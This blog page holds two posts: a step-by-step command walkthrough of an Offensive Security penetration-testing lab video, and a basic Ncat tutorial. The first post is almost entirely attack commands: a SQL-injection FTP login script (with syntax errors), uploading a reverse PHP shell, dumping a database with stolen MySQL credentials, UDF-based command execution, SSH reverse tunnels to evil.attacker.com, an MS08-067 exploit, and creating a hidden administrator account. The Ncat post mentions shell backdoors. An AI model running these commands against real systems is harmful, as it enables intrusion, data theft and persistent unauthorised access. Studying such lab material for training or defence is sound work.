Affichage des articles dont le libellé est Netcat. Afficher tous les articles
Affichage des articles dont le libellé est Netcat. Afficher tous les articles

Penetration Testing in the Real World Offensive Security Video Tutorial

Hacking, cracking and penetration testing are the hot topics of this blog and we have discussed different tutorials based on backtrack Linux specially backtrack 5 R1 because it is the newest one, however there are many video tutorials of backtrack Linux available that has been made on previous version of backtrack like backtrack 4 and others. The main aim and idea is same means to educate people how to do a penetration testing. Offensive security.

I think there is no need to introduce offensive security, I was searching on Internet and I have found a wonderful video tutorial made by offensive security team.

This video will teach you about remote penetration testing and how to enumerate and map the internal network of a web server (database, SMS and other servers). Although this video has been created on previous version of backtrack but it is applicable on backtrack 5 r1 because tools are common.



Commands & Tools that Discussed on the Video

ftp-brute.py


#!/usr/bin/python
from ftplib import FTP
print "Attempting user Directory Discover via FTP"
for i in range(0,6):
username=%') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser LIMIT "+ STR(I)+",1; -- "
password=str("1")
ftp=FTP('www.offseclabs.com')
ftp.login(username,password)
print "Logged in as user "+str(i)+",1"
ftp.retrlines('LIST')
ftp.close()

Open Terminal A : 


nmap -p 21,80 www.offseclabs.com
nc -v www.offseclabs.com 80
HEAD / HTTP/1.0
(To enumerate the webserver)
clear
ftp www.offseclabs.com
username - bob
password - bob
(To enumerate the ftp server)
ftp www.offseclabs.com
username - %') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser; --
password - 1
(logged in to the ftp server)
pwd
ls
bye
clear
cd core
clear
nano brute.py --> (see above ftp-brute.py)
./brute.py
(get the fifth user who has mapped to the root directory of webserver)
clear
ftp www.offseclabs.com
username - %') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser LIMIT 5,1; --
password - 1
(logged in as the fifth user)
ls
put rs.php --> (a reverse php shell) Download reverse PHP shell
-----------------------
Open Terminal B :
nc -lvp 80
-----------------------
Open Terminal C :
wget www.offseclabs.com/rs.php
(Then, at Terminal B, we got a reverse shell)
-----------------------
Go back to Terminal B :
(inside the reverse shell)
/sbin/ifconfig
pwd
cd /var/www
ls -la
cd includes
cat configure.php
(get the MySQL username and password as well as MySQL server address and database name)
mysqldump -u root -p1q2w3e4r5t6y -h 10.150.0.5 oscommerce > /var/www/images/ccdump.txt
------------------------
Open a Firefox :
www.offseclabs.com/images/ccdump.txt
(we got the database dump)
-------------------------
Go back to Terminal A :
(inside the ftp server)
put up.html --> (file upload html file)
put up.php -- > (file upload php file)
-------------------------
Open Firefox :
www.offseclabs.com/up.html
(upload lib_mysqludf_sys.so and marked it as 1)
(upload rs [a binary reverse shell) and marked it as 2)
** Details of lib_mysqludf_sys.so
---------------------------
Go back to Terminal A :
(quit the ftp server)
bye
clear
exit
(quit Terminal A)
----------------------------
Go back to Terminal B :
mysql -u root -p1q2w3e4r5t6y -h 10.150.0.5
(login to MySQL server)
use pwn;
SELECT imgdata from binfile where title="1" into dumpfile '/usr/lib/lib_mysqludf_sys.so';
SELECT imgdata from binfile where title="2" into dumpfile '/tmp/db';
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('chmod 755 /tmp/bd');
SELECT sys_eval('/tmp/bd &');
(don't press Enter at this moment)
---------------------------
Open Terminal D :
nc -lvp 80
(go back to Terminal B and press enter, you will get reserver shell at Terminal D)
----------------------------
Open Terminal E :
nc -lvp 80
----------------------------
Go back to Terminal B :
(inside the MySQL server)
SELECT sys_eval('/tmp/bd &');
(press enter and we got another reverse shell at Terminal E)
---------------------------
Go back to Terminal E :
(inside the reverse shell)
ping -c 1 10.150.0.20
clear
ssh -l root -t -t -R 445:10.150.0.20:445 evil.attacker.com
(create a remote tunnel at port 445)
-----------------------------
Open Terminal F :
netstat antp
nmap -sS 127.0.0.1 -p445 --script smb-check-vulns.nse
-----------------------------
Go back to Terminal D :
ssh -l root -t -t -R 4444:10.150.0.20:4444 evil.attacker.com
(create a remote tunnel at port 4444)
clear
------------------------------
Go back to Terminal F :
cd core
nano nx.py --> (a ms08-067 python exploit for win2k3 sp2)
clear
./nx.py 127.0.0.1
nc -v 127.0.0.1 4444
(we got a remote shell of 10.150.0.20)
ip config
net user hacker hacker /add
net localgroup administrators hacker /add
---------------------------------
Go back to Terminal D :
(quit the tunnel)
exit
clear
ssh -l root -t -t -R 3389:10.150.0.20:3389 evil.attacker.com
(create another remote tunnel on port 3389)
clear
-----------------------------------
Open Terminal G :
netstat -antp | grep LISTEN
clear
rdesktop 127.0.0.1
(login to the 10.150.0.20 with username - hacker and password - hacker)




Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ mercredi 11 janvier 2012 0 commentaires

Ncat- Netcat Windows and Linux Tutorial

Netcat is one of the best and important tool that plays an important role in the field of IT security, Penetration testing or ethical hacking, it is also called Swiss-army knife for TCP/IP. Here TCP/IP does not show that netcat works for TCP only, it can be use for UPD also. The importance of Netcat is not a hidden truth you can use Ncat for many purposes.


If you are using some Linux distribution like Backtrack, Gnacktrack, Backbox or others than you can find Netcat on this, open terminal and type Netcat if it will response than you don't need to install it.
In this article I will cover some basic and advance usage of Netcat but before going to actual tutorial I want to explain some background.

What Is Netcat ?

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol. Unix has a CAT command and netcat has been designed to achieve the goal of Cat command you can use netcat on various operating system, Nmap team has been designed Ncat on the concept of Netcat, so it is primely the same thing.

What Netcat Can Do?

This is the most important and simplest question you might be wonder about it, the answer is that netcat can do various things but here is the most important stuffs.
  • Banner grabbing
  • File transferring
  • Telnet usage
  • Shell backdoor

Download


Tutorial

You can use ncat on your Windows box too but for this tutorial I am using backtrack 5 Linux, so here is the tutorial from basic to advance. The basic command is as follows
# ncat
The default port for Netcat is 31337, you can use some other ports as well to connect to the server, remember this a ncat tutorial so in the command I will type ncat instead of netcat. You can find help by using this command.
# ncat -h
If you want to learn banner (the process called banner grabbing) of a server software than use the simplest command of ncat.
# ncat google.com 80
You might wonder that why I have used port number 80, port 80 is for HTTP and sometimes a large server uses firewalls or IDS so the other port might be closed. 


 
So by banner grabbing you can get valuable information.
You can upload any file to any server or client computer here is the main command replace the IP address to your desired IP.
# ncat -l 127.0.0.1 80 < test.txt

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ jeudi 1 septembre 2011 0 commentaires